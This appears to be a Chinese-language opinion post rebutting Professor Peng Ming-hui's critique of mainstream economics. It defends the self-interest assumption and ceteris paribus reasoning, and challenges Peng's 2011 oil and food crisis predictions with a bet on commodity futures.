主流經濟學思想最嚴重的根本錯誤在於：假定人類的逐利行為可以跟其他影響人類行為的因素完全切割開來，所以經濟學家可以完全不懂臺灣產業的實況，只根據一本「工業經濟學」就為台灣產業政策亂開藥方；經濟學家可以不管家庭結構與人際網絡的關係，不負責任地提倡「自由貿易」，還堅持這可以讓弱勢產業倒下去，讓工人轉到競爭力較強的產業，領更高的薪水，卻完全不管經濟因素之外阻擋工人移居、再就業的真實因素，以及失業期間工人的婚姻衝突、家庭壓力、乃至於精神官能症與自殺的可能性。

這些都是經濟學要調查的侷限條件，彭明輝自己遇到的是半調子的假經濟學家，就反過來批評整門學問，犯的是最基本的學問與邏輯錯誤。

同時彭明輝對於經濟學的「自私假設」和科學性也有著可怕且混亂的認識錯誤。

經濟學的自私假設，談的是人在侷限條件下，會對某些東西或服務有「有勝無，多勝少」的行為模式，同時人會願意犧牲某些東西來換取他想要的東西，總合起來就是一條向右下傾斜的需求曲線 — 在侷限條件下，人會傾向越便宜買越多，直到邊際價格等於邊際用值為止。

有勝無，多勝少的東西就是稀有財；因為世間萬物不是無窮無盡，所以存在稀缺；有稀缺萬物就得競爭，競爭方式無外乎暴力或交易。

動物求偶存在這暴力（打退其它競爭同性），也存在交易（提供異性感興趣的物品或服務以換取交配機會）就是一例。

上述是經濟學基本名詞定義，如果連這些定義都搞不清楚，這門學問就別搞了。同樣的，如果連刑法上的直接故意、間接故意、過失等名詞定義概念也搞不清楚，那你法律系也別念了。

所有的學科都有基本名詞定義，彭明輝宣稱的：「…那些人只會玩術語定義，而繞過核心理念…」只不過代表其自身對於不熟悉的學科的基本名詞定義認識不清、掌握不足。術語都定義得不清不楚，枉論核心理念？騙肖耶。

經濟學的自私假設，跟牛頓三大定律中質量的假設，以及牛頓萬有引力的假設都一樣，都是一種武斷的假設。諾貝爾物理學獎得主Richard Feynman就曾經對一位哲學系教授表示：「電子是一個物理學家假設出來的理論，這理論好用到我們都幾乎以為電子是真的存在。」

所以既然三大定律與萬有引力是武斷的假設，如果要用物理學來解釋物體運動，就得接受這些定義性的原則，否則整門古典物理學就垮台了。也正是三大定律在光子身上無法完美100%解釋，才會出現粒子與波動說的爭議，也才會有後來光電理論出現；量子力學、廣義相對論也都是對牛頓力學的修正。

彭教授，牛頓力學並沒有放諸四海皆準，也是講究「侷限條件」的！你自己也知道牛頓定律只不過是principle，你卻把經濟學的principle當成truth來論斷，如此扭曲手法所為何來？

前述的科學方法論的基本觀念，在經濟學上也是一樣的。更重要的是，自私假設既然是一個武斷的定義，自然會存在套套邏輯的現象。

彭明輝批評的：

經濟學探討的是人類集體行為中的一種特殊行為：交易（實體物資的交易、服務的交易、智慧財產的交易、資金的交易），以及交易背後的生產、消費與供需。它假定人都逐利，而且不自覺地假定逐利是人類所有交易行為的壓倒性推動動力。但是，事實上人類不盡然24小時都在逐利，也不盡然24小時都以逐利作為行為的主要動力，人類更加不是除了逐利之外可以對社會規範與潛規則毫無顧忌的社群動物。

只彰顯他真的不懂經濟學！

一者，經濟學不只探討人類集體行為，也探討「我是傳說」這部電影中只剩一個人的行為。二者，交易是普遍存在於動物甚至動物植物之間的，沒什麼特殊性。反過來說，人類在交易以外的行為，還比較特殊哩！三者，什麼事都說是因為自私，那等於沒有解釋，非科學也！

四，經濟學也沒有假設每個人24小時都在逐利，經濟學是假設人喜歡犧牲某些東西去換取他想要的東西，而如果換取的代價越小，其它條件不變之下，他會換更多。

我要再重複三次，免得彭老先生看不懂 — 其它條件不變之下、其它條件不變之下、其它條件不變之下！

其它條件是什麼？彭明輝說的「社會規範與潛規則、人際壓力、風俗習慣導引、人情世故、權力網絡、親族體系」都不過是其中之一小部分，張五常稱之為「交易費用/制度費用」。

彭明輝一副他發現了300年來經濟學家都沒發現的問題，真是可笑到極點。彷彿全世界就他最蓋世英明，300年來參加經濟學發展研究的人都是蠢才一般。這，才是我最厭惡的。

彭明輝宣稱的：

主流經濟學思想最嚴重的根本錯誤在於：假定人類的逐利行為可以跟其他影響人類行為的因素完全切割開來…

當然也是大錯特錯！

持此論者不是對經濟學真的無知到令人瞠目結舌的地步，就是居心叵測到令人髮指的境界。

歷史上打著慈悲為懷、普渡眾生的大旗，沽名釣譽、混水摸魚、趁機獲取利益的人，比比皆是，希特勒有之、毛澤東有之、蔣介石亦是。希望彭教授只是無知，而不是如此。

事實上，科學都是以實證來測試論者對於一門學問的掌握度。

彭明輝愛批評經濟學，但是他所持理論在2011年預測的石油危機和糧食危機，到現在連個屁影子都沒看到。

石油期貨

小麥期貨

玉米期貨

大豆期貨

糙米期貨

諾貝爾經濟學獎得主Ronald Coase、Milton Friedman與經濟學大師Armen Alchian均表示過：「要看一個人真正的意向，唯一的方法就是叫他拿出錢來下注。」

彭明輝宣稱石油危機、糧食危機即將到來，那麼我們看看彭大教授敢不敢拿出一半身家財產，賭在這些貨品的期貨價格上？我很期待過個10年、20年，看到彭明輝因為眼光獨到、大賺一票，成為他自己眼中可惡且有原罪的富人。